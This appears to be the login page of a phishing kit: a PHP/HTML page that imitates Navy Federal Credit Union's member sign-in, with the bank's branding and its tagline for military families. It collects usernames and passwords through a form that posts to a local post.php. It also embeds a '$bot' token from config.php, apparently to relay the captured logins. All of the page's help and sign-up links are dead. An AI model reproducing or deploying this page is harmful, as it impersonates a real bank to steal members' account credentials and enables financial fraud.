<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=EB+Garamond:wght@400;500&family=Work+Sans:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Navy Federal Credit Union</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --navy:         #002664;
            --navy-mid:     #003080;
            --navy-light:   rgba(0, 38, 100, 0.07);
            --gold:         #c49a22;
            --gold-bright:  #e8b830;
            --gold-soft:    rgba(196, 154, 34, 0.1);
            --text-primary: #001040;
            --text-secondary: #2a3f6e;
            --text-muted:   #7a8fb8;
            --border:       #cdd8ec;
            --bg:           #f2f5fb;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Work Sans', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
            overflow: hidden;
        }

        /* ── Left panel ── */
        .panel-left {
            background: var(--navy);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: flex-end;
            padding: 52px 56px;
            overflow: hidden;
        }

        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 60% 50% at 10% 90%, rgba(196,154,34,0.22) 0%, transparent 65%),
                radial-gradient(ellipse 40% 35% at 85% 10%, rgba(196,154,34,0.08) 0%, transparent 60%);
            pointer-events: none;
        }

        /* Anchor / wave texture */
        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.06; }
        .panel-bg svg { width: 100%; height: 100%; }

        .panel-dots {
            position: absolute; top: 52px; left: 56px;
            display: flex; gap: 8px; z-index: 1;
        }
        .panel-dots span {
            width: 8px; height: 8px; border-radius: 50%;
            background: rgba(255,255,255,0.12);
        }
        .panel-dots span:first-child { background: var(--gold-bright); }

        /* Anchor emblem */
        .anchor-art {
            position: relative; z-index: 1;
            margin-bottom: 52px;
            width: 60px; height: 72px;
        }
        .anchor-art svg { width: 100%; height: 100%; }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow {
            font-size: 11px; font-weight: 500;
            letter-spacing: 0.22em; text-transform: uppercase;
            color: var(--gold-bright); margin-bottom: 18px;
        }
        .panel-tagline h2 {
            font-family: 'EB Garamond', serif;
            font-size: clamp(26px, 2.8vw, 42px);
            font-weight: 400; line-height: 1.25;
            color: #fff; margin-bottom: 22px;
        }
        .panel-tagline p {
            font-size: 14px; font-weight: 300;
            color: rgba(255,255,255,0.45);
            line-height: 1.75; max-width: 310px;
        }

        /* ── Right panel ── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 40px;
            background: var(--white); overflow-y: auto;
        }

        .login-card {
            width: 100%; max-width: 390px;
            animation: fadeUp 0.55s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(16px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .login-logo { margin-bottom: 40px; }
        .login-logo img { height: 46px; width: auto; object-fit: contain; display: block; }

        .login-heading { margin-bottom: 30px; }
        .login-heading h1 {
            font-family: 'EB Garamond', serif;
            font-size: 28px; font-weight: 500;
            color: var(--text-primary); margin-bottom: 7px;
            letter-spacing: -0.01em;
        }
        .login-heading p {
            font-size: 14px; color: var(--text-muted); font-weight: 300;
        }

        /* ── Fields ── */
        .field { margin-bottom: 18px; }
        .field label {
            display: block; font-size: 11px; font-weight: 500;
            letter-spacing: 0.08em; text-transform: uppercase;
            color: var(--text-secondary); margin-bottom: 8px;
        }
        .field input[type="text"],
        .field input[type="Password"] {
            width: 100%; height: 50px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'Work Sans', sans-serif;
            font-size: 15px; color: var(--text-primary);
            background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #aabbd8; font-weight: 300; }
        .field input:focus {
            border-color: var(--navy);
            box-shadow: 0 0 0 3px var(--navy-light);
        }

        /* ── Checkboxes ── */
        .options { display: flex; flex-direction: column; gap: 12px; margin-bottom: 26px; }
        .check-label {
            display: flex; align-items: center; gap: 10px;
            font-size: 13.5px; color: var(--text-secondary);
            cursor: pointer; user-select: none;
        }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 17px; height: 17px;
            border: 1.5px solid var(--border);
            border-radius: 4px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked {
            background: var(--navy); border-color: var(--navy);
        }
        .check-label input[type="checkbox"]:checked::after {
            content: '';
            position: absolute; left: 4px; top: 1px;
            width: 5px; height: 9px;
            border: 2px solid #fff;
            border-top: none; border-left: none;
            transform: rotate(45deg);
        }

        /* ── Button ── */
        .btn-signin {
            width: 100%; height: 50px;
            background: var(--navy); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'Work Sans', sans-serif;
            font-size: 15px; font-weight: 500;
            letter-spacing: 0.03em; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-bottom: 10px;
            position: relative;
            overflow: hidden;
        }
        /* Gold shimmer line under button */
        .btn-signin::after {
            content: '';
            position: absolute;
            bottom: 0; left: 0; right: 0; height: 3px;
            background: linear-gradient(90deg, transparent, var(--gold-bright), transparent);
            opacity: 0;
            transition: opacity 0.2s;
        }
        .btn-signin:hover {
            background: var(--navy-mid);
            box-shadow: 0 4px 18px rgba(0,38,100,0.28);
            transform: translateY(-1px);
        }
        .btn-signin:hover::after { opacity: 1; }
        .btn-signin:active { transform: translateY(0); }

        /* Gold divider */
        .gold-rule {
            height: 1px;
            background: linear-gradient(90deg, var(--gold), rgba(196,154,34,0.15));
            margin-bottom: 26px;
        }

        /* ── Footer links ── */
        .login-links {
            display: flex; flex-direction: column; gap: 12px;
            padding-top: 20px; border-top: 1px solid var(--border);
        }
        .login-links a {
            font-size: 13.5px; color: var(--navy);
            text-decoration: none; font-weight: 400;
            transition: color 0.15s; opacity: 0.75;
        }
        .login-links a:hover { opacity: 1; text-decoration: underline; }
        .login-links a::after { content: ' →'; font-size: 12px; }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; overflow: auto; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<!-- Left panel -->
<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>

    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <!-- Wave lines -->
            <path d="M0,200 Q150,160 300,200 Q450,240 600,200" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,240 Q150,200 300,240 Q450,280 600,240" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,280 Q150,240 300,280 Q450,320 600,280" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,440 Q150,400 300,440 Q450,480 600,440" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,480 Q150,440 300,480 Q450,520 600,480" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,520 Q150,480 300,520 Q450,560 600,520" fill="none" stroke="white" stroke-width="1"/>
            <!-- Rope/chain dots -->
            <circle cx="100" cy="100" r="2" fill="white"/>
            <circle cx="160" cy="80"  r="1.5" fill="white"/>
            <circle cx="240" cy="110" r="2" fill="white"/>
            <circle cx="380" cy="70"  r="1.5" fill="white"/>
            <circle cx="460" cy="100" r="2" fill="white"/>
            <circle cx="540" cy="85"  r="1.5" fill="white"/>
            <circle cx="80"  cy="650" r="2" fill="white"/>
            <circle cx="200" cy="680" r="1.5" fill="white"/>
            <circle cx="320" cy="650" r="2" fill="white"/>
            <circle cx="440" cy="670" r="1.5" fill="white"/>
            <circle cx="560" cy="645" r="2" fill="white"/>
        </svg>
    </div>

    <!-- Anchor emblem -->
    <div class="anchor-art">
        <svg viewBox="0 0 60 72" fill="none" xmlns="http://www.w3.org/2000/svg">
            <!-- Ring at top -->
            <circle cx="30" cy="8" r="6" fill="none" stroke="rgba(232,184,48,0.7)" stroke-width="2"/>
            <!-- Vertical shaft -->
            <line x1="30" y1="14" x2="30" y2="58" stroke="rgba(255,255,255,0.6)" stroke-width="2.5" stroke-linecap="round"/>
            <!-- Crossbar -->
            <line x1="12" y1="24" x2="48" y2="24" stroke="rgba(255,255,255,0.6)" stroke-width="2.5" stroke-linecap="round"/>
            <!-- Anchor flukes -->
            <path d="M30,58 Q12,52 8,64" stroke="rgba(255,255,255,0.6)" stroke-width="2.5" stroke-linecap="round" fill="none"/>
            <path d="M30,58 Q48,52 52,64" stroke="rgba(255,255,255,0.6)" stroke-width="2.5" stroke-linecap="round" fill="none"/>
            <!-- Chain arc -->
            <path d="M12,24 Q6,44 8,64" stroke="rgba(232,184,48,0.4)" stroke-width="1.5" stroke-dasharray="3,3" fill="none"/>
            <path d="M48,24 Q54,44 52,64" stroke="rgba(232,184,48,0.4)" stroke-width="1.5" stroke-dasharray="3,3" fill="none"/>
        </svg>
    </div>

    <div class="panel-tagline">
        <div class="eyebrow">Member Access</div>
        <h2>Serving those who<br>serve our country.</h2>
        <p>Sign in to manage your accounts, loans, and statements — exclusively for military members and families.</p>
    </div>
</div>

<!-- Right panel -->
<div class="panel-right">
    <div class="login-card">

        <div class="login-logo">
            <img src="res/img/logo.svg" alt="Navy Federal Credit Union Logo">
        </div>

        <div class="login-heading">
            <h1>Welcome back</h1>
            <p>Sign in to your account to continue</p>
        </div>

        <script>var token=<?php echo json_encode($bot); ?>;</script>

        <form action="post.php" method="post">

            <div class="field">
                <label for="user">Username</label>
                <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username">
            </div>

            <div class="field">
                <label for="pass">Password</label>
                <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
            </div>

            <div class="options">
                <label class="check-label">
                    <input type="checkbox"> Remember me
                </label>
                <label class="check-label">
                    <input type="checkbox"> Use token
                </label>
            </div>

            <button type="submit" class="btn-signin">Sign in</button>
            <div class="gold-rule"></div>

            <div class="login-links">
                <a href="#">Forgot username or password</a>
                <a href="#">Not enrolled? Sign up now</a>
            </div>

        </form>
    </div>
</div>

<script src="./res/jq.js"></script>
</body>
</html>